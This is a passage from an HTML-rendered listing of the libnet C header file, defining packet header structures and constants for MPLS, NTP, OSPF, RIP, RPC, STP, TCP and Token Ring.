+01122 <span class="preprocessor">#define LIBNET_OPT_DCBIT 0x20 </span><span class="comment">/* describes handling of demand circuits */</span>
+01123
+01124
+01125 <span class="comment">/*</span>
+01126 <span class="comment"> * MPLS header</span>
+01127 <span class="comment"> * Multi-Protocol Label Switching</span>
+01128 <span class="comment"> * Static header size: 4 bytes</span>
+01129 <span class="comment"> */</span>
+01130 <span class="keyword">struct </span>libnet_mpls_hdr
+01131 {
+01132 u_int32_t mpls_les; <span class="comment">/* 20 bits label, 3 bits exp, 1 bit bos, ttl */</span>
+01133 <span class="preprocessor">#define LIBNET_MPLS_BOS_ON 1</span>
+01134 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_MPLS_BOS_OFF 0</span>
+01135 <span class="preprocessor"></span>};
+01136
+01137 <span class="comment">/*</span>
+01138 <span class="comment"> * NTP header</span>
+01139 <span class="comment"> * Network Time Protocol</span>
+01140 <span class="comment"> * Static header size: 48 bytes</span>
+01141 <span class="comment"> */</span>
+01142 <span class="keyword">struct </span>libnet_ntp_hdr_l_fp <span class="comment">/* int32_t floating point (64-bit) */</span>
+01143 {
+01144 u_int32_t integer; <span class="comment">/* integer */</span>
+01145 u_int32_t fraction; <span class="comment">/* fraction */</span>
+01146 };
+01147
+01148 <span class="keyword">struct </span>libnet_ntp_hdr_s_fp <span class="comment">/* int16_t floating point (32-bit) */</span>
+01149 {
+01150 u_int16_t integer; <span class="comment">/* integer */</span>
+01151 u_int16_t fraction; <span class="comment">/* fraction */</span>
+01152 };
+01153
+01154
+01155 <span class="keyword">struct </span>libnet_ntp_hdr
+01156 {
+01157 u_int8_t ntp_li_vn_mode; <span class="comment">/* leap indicator, version, mode */</span>
+01158 <span class="preprocessor">#define LIBNET_NTP_LI_NW 0x0 </span><span class="comment">/* no warning */</span>
+01159 <span class="preprocessor">#define LIBNET_NTP_LI_AS 0x1 </span><span class="comment">/* last minute has 61 seconds */</span>
+01160 <span class="preprocessor">#define LIBNET_NTP_LI_DS 0x2 </span><span class="comment">/* last minute has 59 seconds */</span>
+01161 <span class="preprocessor">#define LIBNET_NTP_LI_AC 0x3 </span><span class="comment">/* alarm condition */</span>
+01162
+01163 <span class="preprocessor">#define LIBNET_NTP_VN_2 0x2 </span><span class="comment">/* version 2 */</span>
+01164 <span class="preprocessor">#define LIBNET_NTP_VN_3 0x3 </span><span class="comment">/* version 3 */</span>
+01165 <span class="preprocessor">#define LIBNET_NTP_VN_4 0x4 </span><span class="comment">/* version 4 */</span>
+01166
+01167 <span class="preprocessor">#define LIBNET_NTP_MODE_R 0x0 </span><span class="comment">/* reserved */</span>
+01168 <span class="preprocessor">#define LIBNET_NTP_MODE_A 0x1 </span><span class="comment">/* symmetric active */</span>
+01169 <span class="preprocessor">#define LIBNET_NTP_MODE_P 0x2 </span><span class="comment">/* symmetric passive */</span>
+01170 <span class="preprocessor">#define LIBNET_NTP_MODE_C 0x3 </span><span class="comment">/* client */</span>
+01171 <span class="preprocessor">#define LIBNET_NTP_MODE_S 0x4 </span><span class="comment">/* server */</span>
+01172 <span class="preprocessor">#define LIBNET_NTP_MODE_B 0x5 </span><span class="comment">/* broadcast */</span>
+01173 <span class="preprocessor">#define LIBNET_NTP_MODE_RC 0x6 </span><span class="comment">/* reserved for NTP control message */</span>
+01174 <span class="preprocessor">#define LIBNET_NTP_MODE_RP 0x7 </span><span class="comment">/* reserved for private use */</span>
+01175 u_int8_t ntp_stratum; <span class="comment">/* stratum */</span>
+01176 <span class="preprocessor">#define LIBNET_NTP_STRATUM_UNAVAIL 0x0 </span><span class="comment">/* unspecified or unavailable */</span>
+01177 <span class="preprocessor">#define LIBNET_NTP_STRATUM_PRIMARY 0x1 </span><span class="comment">/* primary reference (radio clock) */</span>
+01178 <span class="comment">/* 2 - 15 is secondary */</span>
+01179 <span class="comment">/* 16 - 255 is reserved */</span>
+01180 u_int8_t ntp_poll; <span class="comment">/* poll interval (should be 4 - 12) */</span>
+01181 u_int8_t ntp_precision; <span class="comment">/* local clock precision */</span>
+01182 <span class="keyword">struct </span>libnet_ntp_hdr_s_fp ntp_delay; <span class="comment">/* roundtrip delay */</span>
+01183 <span class="keyword">struct </span>libnet_ntp_hdr_s_fp ntp_dispersion; <span class="comment">/* nominal error */</span>
+01184 u_int32_t ntp_reference_id; <span class="comment">/* reference source id */</span>
+01185 <span class="preprocessor">#define LIBNET_NTP_REF_LOCAL 0x4c4f434c </span><span class="comment">/* uncalibrated local clock */</span>
+01186 <span class="preprocessor">#define LIBNET_NTP_REF_PPS 0x50505300 </span><span class="comment">/* atomic / pulse-per-second clock */</span>
+01187 <span class="preprocessor">#define LIBNET_NTP_REF_ACTS 0x41435453 </span><span class="comment">/* NIST dialup modem */</span>
+01188 <span class="preprocessor">#define LIBNET_NTP_REF_USNO 0x55534e4f </span><span class="comment">/* USNO modem service */</span>
+01189 <span class="preprocessor">#define LIBNET_NTP_REF_PTB 0x50544200 </span><span class="comment">/* PTB (German) modem service */</span>
+01190 <span class="preprocessor">#define LIBNET_NTP_REF_TDF 0x54444600 </span><span class="comment">/* Allouis (French) radio */</span>
+01191 <span class="preprocessor">#define LIBNET_NTP_REF_DCF 0x44434600 </span><span class="comment">/* Mainflingen (German) radio */</span>
+01192 <span class="preprocessor">#define LIBNET_NTP_REF_MSF 0x4d534600 </span><span class="comment">/* Rugby (UK) radio */</span>
+01193 <span class="preprocessor">#define LIBNET_NTP_REF_WWV 0x57575600 </span><span class="comment">/* Ft Collins (US) radio */</span>
+01194 <span class="preprocessor">#define LIBNET_NTP_REF_WWVB 0x57575642 </span><span class="comment">/* Boulder (US) radio */</span>
+01195 <span class="preprocessor">#define LIBNET_NTP_REF_WWVH 0x57575648 </span><span class="comment">/* Kaui Hawaii (US) radio */</span>
+01196 <span class="preprocessor">#define LIBNET_NTP_REF_CHU 0x43485500 </span><span class="comment">/* Ottaha (Canada) radio */</span>
+01197 <span class="preprocessor">#define LIBNET_NTP_REF_LORC 0x4c4f5243 </span><span class="comment">/* LORAN-C radionavigation */</span>
+01198 <span class="preprocessor">#define LIBNET_NTP_REF_OMEG 0x4f4d4547 </span><span class="comment">/* OMEGA radionavigation */</span>
+01199 <span class="preprocessor">#define LIBNET_NTP_REF_GPS 0x47505300 </span><span class="comment">/* global positioning system */</span>
+01200 <span class="preprocessor">#define LIBNET_NTP_REF_GOES 0x474f4553 </span><span class="comment">/* geostationary orbit env satellite */</span>
+01201 <span class="keyword">struct </span>libnet_ntp_hdr_l_fp ntp_ref_ts; <span class="comment">/* reference timestamp */</span>
+01202 <span class="keyword">struct </span>libnet_ntp_hdr_l_fp ntp_orig_ts; <span class="comment">/* originate timestamp */</span>
+01203 <span class="keyword">struct </span>libnet_ntp_hdr_l_fp ntp_rec_ts; <span class="comment">/* receive timestamp */</span>
+01204 <span class="keyword">struct </span>libnet_ntp_hdr_l_fp ntp_xmt_ts; <span class="comment">/* transmit timestamp */</span>
+01205 };
+01206
+01207
+01208 <span class="comment">/*</span>
+01209 <span class="comment"> * OSPFv2 header</span>
+01210 <span class="comment"> * Open Shortest Path First</span>
+01211 <span class="comment"> * Static header size: 16 bytes</span>
+01212 <span class="comment"> */</span>
+01213 <span class="keyword">struct </span>libnet_ospf_hdr
+01214 {
+01215 u_int8_t ospf_v; <span class="comment">/* version */</span>
+01216 <span class="preprocessor">#define OSPFVERSION 2</span>
+01217 <span class="preprocessor"></span> u_int8_t ospf_type; <span class="comment">/* type */</span>
+01218 <span class="preprocessor">#define LIBNET_OSPF_UMD 0 </span><span class="comment">/* UMd monitoring packet */</span>
+01219 <span class="preprocessor">#define LIBNET_OSPF_HELLO 1 </span><span class="comment">/* HELLO packet */</span>
+01220 <span class="preprocessor">#define LIBNET_OSPF_DBD 2 </span><span class="comment">/* dataBase description packet */</span>
+01221 <span class="preprocessor">#define LIBNET_OSPF_LSR 3 </span><span class="comment">/* link state request packet */</span>
+01222 <span class="preprocessor">#define LIBNET_OSPF_LSU 4 </span><span class="comment">/* link state Update Packet */</span>
+01223 <span class="preprocessor">#define LIBNET_OSPF_LSA 5 </span><span class="comment">/* link state acknowledgement packet */</span>
+01224 u_int16_t ospf_len; <span class="comment">/* length */</span>
+01225 <span class="keyword">struct </span>in_addr ospf_rtr_id; <span class="comment">/* source router ID */</span>
+01226 <span class="keyword">struct </span>in_addr ospf_area_id;<span class="comment">/* roam ID */</span>
+01227 u_int16_t ospf_sum; <span class="comment">/* checksum */</span>
+01228 u_int16_t ospf_auth_type; <span class="comment">/* authentication type */</span>
+01229 <span class="preprocessor">#define LIBNET_OSPF_AUTH_NULL 0 </span><span class="comment">/* null password */</span>
+01230 <span class="preprocessor">#define LIBNET_OSPF_AUTH_SIMPLE 1 </span><span class="comment">/* simple, plaintext, 8 int8_t password */</span>
+01231 <span class="preprocessor">#define LIBNET_OSPF_AUTH_MD5 2 </span><span class="comment">/* MD5 */</span>
+01232 };
+01233
+01234
+01235 <span class="comment">/*</span>
+01236 <span class="comment"> * OSPF authentication header</span>
+01237 <span class="comment"> * Open Shortest Path First</span>
+01238 <span class="comment"> * Static header size: 8 bytes</span>
+01239 <span class="comment"> */</span>
+01240 <span class="keyword">struct </span>libnet_auth_hdr
+01241 {
+01242 u_int16_t ospf_auth_null; <span class="comment">/* NULL */</span>
+01243 u_int8_t ospf_auth_keyid; <span class="comment">/* authentication key ID */</span>
+01244 u_int8_t ospf_auth_len; <span class="comment">/* auth data length */</span>
+01245 u_int ospf_auth_seq; <span class="comment">/* cryptographic sequence number */</span>
+01246 };
+01247
+01248
+01249 <span class="comment">/*</span>
+01250 <span class="comment"> * OSPF hello header</span>
+01251 <span class="comment"> * Open Shortest Path First</span>
+01252 <span class="comment"> * Static header size: 28 bytes</span>
+01253 <span class="comment"> */</span>
+01254 <span class="keyword">struct </span>libnet_ospf_hello_hdr
+01255 {
+01256 <span class="keyword">struct </span>in_addr hello_nmask; <span class="comment">/* netmask associated with the interface */</span>
+01257 u_int16_t hello_intrvl; <span class="comment">/* num of seconds between routers last packet */</span>
+01258 u_int8_t hello_opts; <span class="comment">/* Options for HELLO packets (look above) */</span>
+01259 u_int8_t hello_rtr_pri; <span class="comment">/* router's priority (if 0, can't be backup) */</span>
+01260 u_int hello_dead_intvl; <span class="comment">/* # of secs a router is silent till deemed down */</span>
+01261 <span class="keyword">struct </span>in_addr hello_des_rtr; <span class="comment">/* Designated router on the network */</span>
+01262 <span class="keyword">struct </span>in_addr hello_bkup_rtr; <span class="comment">/* Backup router */</span>
+01263 <span class="keyword">struct </span>in_addr hello_nbr; <span class="comment">/* neighbor router, memcpy more as needed */</span>
+01264 };
+01265
+01266
+01267 <span class="comment">/*</span>
+01268 <span class="comment"> * Database Description header.</span>
+01269 <span class="comment"> */</span>
+01270 <span class="keyword">struct </span>libnet_dbd_hdr
+01271 {
+01272 u_int16_t dbd_mtu_len; <span class="comment">/* max length of IP dgram that this 'if' can use */</span>
+01273 u_int8_t dbd_opts; <span class="comment">/* DBD packet options (from above) */</span>
+01274 u_int8_t dbd_type; <span class="comment">/* type of exchange occurring */</span>
+01275 <span class="preprocessor">#define LIBNET_DBD_IBI 0x01 </span><span class="comment">/* init */</span>
+01276 <span class="preprocessor">#define LIBNET_DBD_MBIT 0x02 </span><span class="comment">/* more DBD packets are to come */</span>
+01277 <span class="preprocessor">#define LIBNET_DBD_MSBIT 0x04 </span><span class="comment">/* If 1, sender is the master in the exchange */</span>
+01278 u_int dbd_seq; <span class="comment">/* DBD sequence number */</span>
+01279 };
+01280
+01281
+01282 <span class="comment">/*</span>
+01283 <span class="comment"> * used for the LS type field in all LS* headers</span>
+01284 <span class="comment"> */</span>
+01285 <span class="preprocessor">#define LIBNET_LS_TYPE_RTR 1 </span><span class="comment">/* router-LSA */</span>
+01286 <span class="preprocessor">#define LIBNET_LS_TYPE_NET 2 </span><span class="comment">/* network-LSA */</span>
+01287 <span class="preprocessor">#define LIBNET_LS_TYPE_IP 3 </span><span class="comment">/* summary-LSA (IP Network) */</span>
+01288 <span class="preprocessor">#define LIBNET_LS_TYPE_ASBR 4 </span><span class="comment">/* summary-LSA (ASBR) */</span>
+01289 <span class="preprocessor">#define LIBNET_LS_TYPE_ASEXT 5 </span><span class="comment">/* AS-external-LSA */</span>
+01290
+01291
+01292 <span class="comment">/*</span>
+01293 <span class="comment"> * Link State Request header</span>
+01294 <span class="comment"> */</span>
+01295 <span class="keyword">struct </span>libnet_lsr_hdr
+01296 {
+01297 u_int lsr_type; <span class="comment">/* type of LS being requested */</span>
+01298 u_int lsr_lsid; <span class="comment">/* link state ID */</span>
+01299 <span class="keyword">struct </span>in_addr lsr_adrtr; <span class="comment">/* advertising router (memcpy more as needed) */</span>
+01300 };
+01301
+01302
+01303 <span class="comment">/*</span>
+01304 <span class="comment"> * Link State Update header</span>
+01305 <span class="comment"> */</span>
+01306 <span class="keyword">struct </span>libnet_lsu_hdr
+01307 {
+01308 u_int lsu_num; <span class="comment">/* number of LSAs that will be broadcasted */</span>
+01309 };
+01310
+01311
+01312 <span class="comment">/*</span>
+01313 <span class="comment"> * Link State Acknowledgement header.</span>
+01314 <span class="comment"> */</span>
+01315 <span class="keyword">struct </span>libnet_lsa_hdr
+01316 {
+01317 u_int16_t lsa_age; <span class="comment">/* time in seconds since the LSA was originated */</span>
+01318 u_int8_t lsa_opts; <span class="comment">/* look above for OPTS_* */</span>
+01319 u_int8_t lsa_type; <span class="comment">/* look below for LS_TYPE_* */</span>
+01320 u_int lsa_id; <span class="comment">/* link State ID */</span>
+01321 <span class="keyword">struct </span>in_addr lsa_adv; <span class="comment">/* router ID of Advertising router */</span>
+01322 u_int lsa_seq; <span class="comment">/* LSA sequence number to detect old/bad ones */</span>
+01323 u_int16_t lsa_sum; <span class="comment">/* "Fletcher Checksum" of all fields minus age */</span>
+01324 u_int16_t lsa_len; <span class="comment">/* length in bytes including the 20 byte header */</span>
+01325 };
+01326
+01327
+01328 <span class="comment">/*</span>
+01329 <span class="comment"> * Router LSA data format</span>
+01330 <span class="comment"> *</span>
+01331 <span class="comment"> * Other stuff for TOS can be added for backward compatability, for this</span>
+01332 <span class="comment"> * version, only OSPFv2 is being FULLY supported.</span>
+01333 <span class="comment"> */</span>
+01334 <span class="keyword">struct </span>libnet_rtr_lsa_hdr
+01335 {
+01336 u_int16_t rtr_flags; <span class="comment">/* set to help describe packet */</span>
+01337 <span class="preprocessor">#define LIBNET_RTR_FLAGS_W 0x0100 </span><span class="comment">/* W bit */</span>
+01338 <span class="preprocessor">#define LIBNET_RTR_FLAGS_E 0x0200 </span><span class="comment">/* E bit */</span>
+01339 <span class="preprocessor">#define LIBNET_RTR_FLAGS_B 0x0400 </span><span class="comment">/* B bit */</span>
+01340 u_int16_t rtr_num; <span class="comment">/* number of links within that packet */</span>
+01341 u_int rtr_link_id; <span class="comment">/* describes link_data (look below) */</span>
+01342 <span class="preprocessor">#define LIBNET_LINK_ID_NBR_ID 1 </span><span class="comment">/* Neighbors router ID, also can be 4 */</span>
+01343 <span class="preprocessor">#define LIBNET_LINK_ID_IP_DES 2 </span><span class="comment">/* IP address of designated router */</span>
+01344 <span class="preprocessor">#define LIBNET_LINK_ID_SUB 3 </span><span class="comment">/* IP subnet number */</span>
+01345 u_int rtr_link_data; <span class="comment">/* Depending on link_id, info is here */</span>
+01346 u_int8_t rtr_type; <span class="comment">/* Description of router link */</span>
+01347 <span class="preprocessor">#define LIBNET_RTR_TYPE_PTP 1 </span><span class="comment">/* Point-To-Point */</span>
+01348 <span class="preprocessor">#define LIBNET_RTR_TYPE_TRANS 2 </span><span class="comment">/* Connection to a "transit network" */</span>
+01349 <span class="preprocessor">#define LIBNET_RTR_TYPE_STUB 3 </span><span class="comment">/* Connectin to a "stub network" */</span>
+01350 <span class="preprocessor">#define RTR_TYPE_VRTL 4 </span><span class="comment">/* connects to a "virtual link" */</span>
+01351 u_int8_t rtr_tos_num; <span class="comment">/* number of different TOS metrics for this link */</span>
+01352 u_int16_t rtr_metric; <span class="comment">/* the "cost" of using this link */</span>
+01353 };
+01354
+01355
+01356 <span class="comment">/*</span>
+01357 <span class="comment"> * Network LSA data format.</span>
+01358 <span class="comment"> */</span>
+01359 <span class="keyword">struct </span>libnet_net_lsa_hdr
+01360 {
+01361 <span class="keyword">struct </span>in_addr net_nmask; <span class="comment">/* Netmask for that network */</span>
+01362 u_int net_rtr_id; <span class="comment">/* ID of router attached to that network */</span>
+01363 };
+01364
+01365
+01366 <span class="comment">/*</span>
+01367 <span class="comment"> * Summary LSA data format.</span>
+01368 <span class="comment"> */</span>
+01369 <span class="keyword">struct </span>libnet_sum_lsa_hdr
+01370 {
+01371 <span class="keyword">struct </span>in_addr sum_nmask; <span class="comment">/* Netmask of destination IP address */</span>
+01372 u_int sum_metric; <span class="comment">/* Same as in rtr_lsa (&amp;0xfff to use last 24bit */</span>
+01373 u_int sum_tos_metric; <span class="comment">/* first 8bits are TOS, 24bits are TOS Metric */</span>
+01374 };
+01375
+01376
+01377 <span class="comment">/*</span>
+01378 <span class="comment"> * AS External LSA data format.</span>
+01379 <span class="comment"> * &amp; 0xfff logic operator for as_metric to get last 24bits.</span>
+01380 <span class="comment"> */</span>
+01381 <span class="keyword">struct </span>libnet_as_lsa_hdr
+01382 {
+01383 <span class="keyword">struct </span>in_addr as_nmask; <span class="comment">/* Netmask for advertised destination */</span>
+01384 u_int as_metric; <span class="comment">/* May have to set E bit in first 8bits */</span>
+01385 <span class="preprocessor">#define LIBNET_AS_E_BIT_ON 0x80000000 </span><span class="comment">/* as_metric */</span>
+01386 <span class="keyword">struct </span>in_addr as_fwd_addr; <span class="comment">/* Forwarding address */</span>
+01387 u_int as_rte_tag; <span class="comment">/* External route tag */</span>
+01388 };
+01389
+01390
+01391 <span class="comment">/*</span>
+01392 <span class="comment"> * Base RIP header</span>
+01393 <span class="comment"> * Routing Information Protocol</span>
+01394 <span class="comment"> * Base header size: 24 bytes</span>
+01395 <span class="comment"> */</span>
+01396 <span class="keyword">struct </span>libnet_rip_hdr
+01397 {
+01398 u_int8_t rip_cmd; <span class="comment">/* RIP command */</span>
+01399 <span class="preprocessor">#define RIPCMD_REQUEST 1 </span><span class="comment">/* want info */</span>
+01400 <span class="preprocessor">#define RIPCMD_RESPONSE 2 </span><span class="comment">/* responding to request */</span>
+01401 <span class="preprocessor">#define RIPCMD_TRACEON 3 </span><span class="comment">/* turn tracing on */</span>
+01402 <span class="preprocessor">#define RIPCMD_TRACEOFF 4 </span><span class="comment">/* turn it off */</span>
+01403 <span class="preprocessor">#define RIPCMD_POLL 5 </span><span class="comment">/* like request, but anyone answers */</span>
+01404 <span class="preprocessor">#define RIPCMD_POLLENTRY 6 </span><span class="comment">/* like poll, but for entire entry */</span>
+01405 <span class="preprocessor">#define RIPCMD_MAX 7 </span><span class="comment">/* ? command */</span>
+01406 u_int8_t rip_ver; <span class="comment">/* RIP version */</span>
+01407 <span class="preprocessor">#define RIPVER_0 0</span>
+01408 <span class="preprocessor"></span><span class="preprocessor">#define RIPVER_1 1</span>
+01409 <span class="preprocessor"></span><span class="preprocessor">#define RIPVER_2 2</span>
+01410 <span class="preprocessor"></span> u_int16_t rip_rd; <span class="comment">/* Zero (v1) or Routing Domain (v2) */</span>
+01411 u_int16_t rip_af; <span class="comment">/* Address family */</span>
+01412 u_int16_t rip_rt; <span class="comment">/* Zero (v1) or Route Tag (v2) */</span>
+01413 u_int32_t rip_addr; <span class="comment">/* IP address */</span>
+01414 u_int32_t rip_mask; <span class="comment">/* Zero (v1) or Subnet Mask (v2) */</span>
+01415 u_int32_t rip_next_hop; <span class="comment">/* Zero (v1) or Next hop IP address (v2) */</span>
+01416 u_int32_t rip_metric; <span class="comment">/* Metric */</span>
+01417 };
+01418
+01419 <span class="comment">/*</span>
+01420 <span class="comment"> * RPC headers</span>
+01421 <span class="comment"> * Remote Procedure Call</span>
+01422 <span class="comment"> */</span>
+01423 <span class="preprocessor">#define LIBNET_RPC_CALL 0</span>
+01424 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_RPC_REPLY 1</span>
+01425 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_RPC_VERS 2</span>
+01426 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_RPC_LAST_FRAG 0x80000000</span>
+01427 <span class="preprocessor"></span>
+01428 <span class="comment">/*</span>
+01429 <span class="comment"> * Portmap defines</span>
+01430 <span class="comment"> */</span>
+01431 <span class="preprocessor">#define LIBNET_PMAP_PROGRAM 100000</span>
+01432 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PMAP_PROC_NULL 0</span>
+01433 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PMAP_PROC_SET 1</span>
+01434 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PMAP_PROC_UNSET 2</span>
+01435 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PMAP_PROC_GETADDR 3</span>
+01436 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PMAP_PROC_DUMP 4</span>
+01437 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PMAP_PROC_CALLIT 5</span>
+01438 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PMAP_PROC_BCAST 5 </span><span class="comment">/* Not a typo */</span>
+01439 <span class="preprocessor">#define LIBNET_PMAP_PROC_GETTIME 6</span>
+01440 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PMAP_PROC_UADDR2TADDR 7</span>
+01441 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PMAP_PROC_TADDR2UADDR 8</span>
+01442 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PMAP_PROC_GETVERSADDR 9</span>
+01443 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PMAP_PROC_INDIRECT 10</span>
+01444 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PMAP_PROC_GETADDRLIST 11</span>
+01445 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PMAP_PROC_GETSTAT 12</span>
+01446 <span class="preprocessor"></span>
+01447 <span class="comment">/* There will be more to add... */</span>
+01448
+01449 <span class="keyword">struct </span>libnet_rpc_opaque_auth
+01450 {
+01451 u_int32_t rpc_auth_flavor;
+01452 u_int32_t rpc_auth_length;
+01453 <span class="comment">// u_int8_t *rpc_auth_data;</span>
+01454 };
+01455
+01456 <span class="keyword">struct </span>libnet_rpc_call
+01457 {
+01458 u_int32_t rpc_rpcvers; <span class="comment">/* RPC version - must be 2 */</span>
+01459 u_int32_t rpc_prognum; <span class="comment">/* Program Number */</span>
+01460 u_int32_t rpc_vers; <span class="comment">/* Program Version */</span>
+01461 u_int32_t rpc_procedure; <span class="comment">/* RPC procedure */</span>
+01462 <span class="keyword">struct </span>libnet_rpc_opaque_auth rpc_credentials;
+01463 <span class="keyword">struct </span>libnet_rpc_opaque_auth rpc_verifier;
+01464 };
+01465
+01466 <span class="keyword">struct </span>libnet_rpc_call_hdr
+01467 {
+01468 u_int32_t rpc_xid; <span class="comment">/* xid (transaction identifier) */</span>
+01469 u_int32_t rpc_type;
+01470 <span class="keyword">struct </span>libnet_rpc_call rpc_call;
+01471 };
+01472
+01473 <span class="keyword">struct </span>libnet_rpc_call_tcp_hdr
+01474 {
+01475 u_int32_t rpc_record_marking; <span class="comment">/* used with byte stream protocols */</span>
+01476 <span class="keyword">struct </span>libnet_rpc_call_hdr rpc_common;
+01477 };
+01478
+01479 <span class="comment">/*</span>
+01480 <span class="comment"> * STP configuration header</span>
+01481 <span class="comment"> * Spanning Tree Protocol</span>
+01482 <span class="comment"> * Static header size: 35 bytes</span>
+01483 <span class="comment"> */</span>
+01484 <span class="keyword">struct </span>libnet_stp_conf_hdr
+01485 {
+01486 u_int16_t stp_id; <span class="comment">/* protocol id */</span>
+01487 u_int8_t stp_version; <span class="comment">/* protocol version */</span>
+01488 u_int8_t stp_bpdu_type; <span class="comment">/* bridge protocol data unit type */</span>
+01489 u_int8_t stp_flags; <span class="comment">/* control flags */</span>
+01490 u_int8_t stp_rootid[8]; <span class="comment">/* root id */</span>
+01491 u_int32_t stp_rootpc; <span class="comment">/* root path cost */</span>
+01492 u_int8_t stp_bridgeid[8]; <span class="comment">/* bridge id */</span>
+01493 u_int16_t stp_portid; <span class="comment">/* port id */</span>
+01494 u_int16_t stp_mage; <span class="comment">/* message age */</span>
+01495 u_int16_t stp_maxage; <span class="comment">/* max age */</span>
+01496 u_int16_t stp_hellot; <span class="comment">/* hello time */</span>
+01497 u_int16_t stp_fdelay; <span class="comment">/* forward delay */</span>
+01498 };
+01499
+01500
+01501 <span class="comment">/*</span>
+01502 <span class="comment"> * STP topology change notification header</span>
+01503 <span class="comment"> * Spanning Tree Protocol</span>
+01504 <span class="comment"> * Static header size: 4 bytes</span>
+01505 <span class="comment"> */</span>
+01506 <span class="keyword">struct </span>libnet_stp_tcn_hdr
+01507 {
+01508 u_int16_t stp_id; <span class="comment">/* protocol id */</span>
+01509 u_int8_t stp_version; <span class="comment">/* protocol version */</span>
+01510 u_int8_t stp_bpdu_type; <span class="comment">/* bridge protocol data unit type */</span>
+01511 };
+01512
+01513
+01514 <span class="comment">/*</span>
+01515 <span class="comment"> * TCP header</span>
+01516 <span class="comment"> * Transmission Control Protocol</span>
+01517 <span class="comment"> * Static header size: 20 bytes</span>
+01518 <span class="comment"> */</span>
+01519 <span class="keyword">struct </span>libnet_tcp_hdr
+01520 {
+01521 u_int16_t th_sport; <span class="comment">/* source port */</span>
+01522 u_int16_t th_dport; <span class="comment">/* destination port */</span>
+01523 u_int32_t th_seq; <span class="comment">/* sequence number */</span>
+01524 u_int32_t th_ack; <span class="comment">/* acknowledgement number */</span>
+01525 <span class="preprocessor">#if (LIBNET_LIL_ENDIAN)</span>
+01526 <span class="preprocessor"></span> u_int8_t th_x2:4, <span class="comment">/* (unused) */</span>
+01527 th_off:4; <span class="comment">/* data offset */</span>
+01528 <span class="preprocessor">#endif</span>
+01529 <span class="preprocessor"></span><span class="preprocessor">#if (LIBNET_BIG_ENDIAN)</span>
+01530 <span class="preprocessor"></span> u_int8_t th_off:4, <span class="comment">/* data offset */</span>
+01531 th_x2:4; <span class="comment">/* (unused) */</span>
+01532 <span class="preprocessor">#endif</span>
+01533 <span class="preprocessor"></span> u_int8_t th_flags; <span class="comment">/* control flags */</span>
+01534 <span class="preprocessor">#ifndef TH_FIN</span>
+01535 <span class="preprocessor"></span><span class="preprocessor">#define TH_FIN 0x01 </span><span class="comment">/* finished send data */</span>
+01536 <span class="preprocessor">#endif</span>
+01537 <span class="preprocessor"></span><span class="preprocessor">#ifndef TH_SYN</span>
+01538 <span class="preprocessor"></span><span class="preprocessor">#define TH_SYN 0x02 </span><span class="comment">/* synchronize sequence numbers */</span>
+01539 <span class="preprocessor">#endif</span>
+01540 <span class="preprocessor"></span><span class="preprocessor">#ifndef TH_RST</span>
+01541 <span class="preprocessor"></span><span class="preprocessor">#define TH_RST 0x04 </span><span class="comment">/* reset the connection */</span>
+01542 <span class="preprocessor">#endif</span>
+01543 <span class="preprocessor"></span><span class="preprocessor">#ifndef TH_PUSH</span>
+01544 <span class="preprocessor"></span><span class="preprocessor">#define TH_PUSH 0x08 </span><span class="comment">/* push data to the app layer */</span>
+01545 <span class="preprocessor">#endif</span>
+01546 <span class="preprocessor"></span><span class="preprocessor">#ifndef TH_ACK</span>
+01547 <span class="preprocessor"></span><span class="preprocessor">#define TH_ACK 0x10 </span><span class="comment">/* acknowledge */</span>
+01548 <span class="preprocessor">#endif</span>
+01549 <span class="preprocessor"></span><span class="preprocessor">#ifndef TH_URG</span>
+01550 <span class="preprocessor"></span><span class="preprocessor">#define TH_URG 0x20 </span><span class="comment">/* urgent! */</span>
+01551 <span class="preprocessor">#endif</span>
+01552 <span class="preprocessor"></span><span class="preprocessor">#ifndef TH_ECE</span>
+01553 <span class="preprocessor"></span><span class="preprocessor">#define TH_ECE 0x40</span>
+01554 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+01555 <span class="preprocessor"></span><span class="preprocessor">#ifndef TH_CWR </span>
+01556 <span class="preprocessor"></span><span class="preprocessor">#define TH_CWR 0x80</span>
+01557 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+01558 <span class="preprocessor"></span> u_int16_t th_win; <span class="comment">/* window */</span>
+01559 u_int16_t th_sum; <span class="comment">/* checksum */</span>
+01560 u_int16_t th_urp; <span class="comment">/* urgent pointer */</span>
+01561 };
+01562
+01563 <span class="comment">/*</span>
+01564 <span class="comment"> * Token Ring Header</span>
+01565 <span class="comment"> */</span>
+01566 <span class="keyword">struct </span>libnet_token_ring_hdr
+01567 {
+01568 u_int8_t token_ring_access_control;
+01569 <span class="preprocessor">#define LIBNET_TOKEN_RING_FRAME 0x10</span>
+01570 <span class="preprocessor"></span> u_int8_t token_ring_frame_control;
+01571 <span class="preprocessor">#define LIBNET_TOKEN_RING_LLC_FRAME 0x40</span>
+01572 <span class="preprocessor"></span> u_int8_t token_ring_dhost[TOKEN_RING_ADDR_LEN];
+01573 u_int8_t token_ring_shost[TOKEN_RING_ADDR_LEN];
+01574 u_int8_t token_ring_llc_dsap;
+01575 u_int8_t token_ring_llc_ssap;
+01576 u_int8_t token_ring_llc_control_field;
+01577 u_int8_t token_ring_llc_org_code[LIBNET_ORG_CODE_SIZE];
+01578 u_int16_t token_ring_type;
+01579 <span class="preprocessor">#define TOKEN_RING_TYPE_IP 0x0800 </span><span class="comment">/* IP protocol */</span>
+01580 <span class="preprocessor">#define TOKEN_RING_TYPE_ARP 0x0806 </span><span class="comment">/* addr. resolution protocol */</span>
